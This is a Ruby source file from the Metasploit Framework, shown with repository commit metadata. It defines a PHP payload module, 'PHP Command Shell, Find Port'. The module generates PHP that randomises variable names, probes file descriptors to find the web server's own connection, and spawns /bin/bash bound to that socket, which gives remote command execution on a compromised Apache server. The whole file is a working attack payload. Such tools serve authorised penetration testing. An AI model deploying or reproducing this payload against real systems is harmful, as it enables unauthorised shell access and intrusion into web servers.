Ramon de C Valle
c66d6c4e46
git-svn-id: file:///home/svn/framework3/trunk@5783 4d416f70-5f16-0410-b530-b9f4589650da
87 lines
1.9 KiB
Ruby
87 lines
1.9 KiB
Ruby
##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/projects/Framework/
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##
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require 'msf/core'
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require 'msf/core/payload/php'
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require 'msf/core/handler/bind_tcp'
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require 'msf/base/sessions/command_shell'
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require 'msf/core/handler/find_shell'
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module Metasploit3
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include Msf::Payload::Single
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include Msf::Payload::Php
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def initialize(info = {})
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super(merge_info(info,
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'Name' => 'PHP Command Shell, Find Port',
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'Version' => '$Revision$',
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'Description' => %Q{
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Spawn a shell on the established connection to
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the webserver. Only tested on Apache but it
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might work on other web servers that leak file
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descriptors to child processes.
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},
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'Author' => [ 'egypt <egypt@metasploit.com>' ],
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'License' => BSD_LICENSE,
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'Platform' => 'php',
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'Handler' => Msf::Handler::FindShell,
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'Session' => Msf::Sessions::CommandShell,
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'Arch' => ARCH_PHP
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))
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end
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def php_findsock
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var_cmd = '$' + Rex::Text.rand_text_alpha(rand(4) + 6)
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var_fd = '$' + Rex::Text.rand_text_alpha(rand(4) + 6)
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var_out = '$' + Rex::Text.rand_text_alpha(rand(4) + 6)
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shell = <<END_OF_PHP_CODE
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error_reporting(0);
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print("<html><body>");
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flush();
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function mysystem(#{var_cmd}){
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#{php_preamble()}
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#{php_system_block({:cmd_varname=>var_cmd, :output_varname => var_out})}
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return #{var_out};
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}
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#{var_fd} = 13;
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for ($i = 3; $i < 50; $i++) {
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$foo = mysystem("/bin/bash 2>/dev/null <&$i -c 'echo $i'");
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if ($foo != $i) {
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#{var_fd} = $i - 1;
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break;
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}
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}
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print("</body></html>\n\n");
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flush();
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#{var_cmd} = "/bin/bash <&#{var_fd} >&#{var_fd} 2>&#{var_fd}";
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mysystem(#{var_cmd});
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END_OF_PHP_CODE
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return shell
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end
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#
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# Constructs the payload
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#
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def generate
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return php_findsock
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end
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end |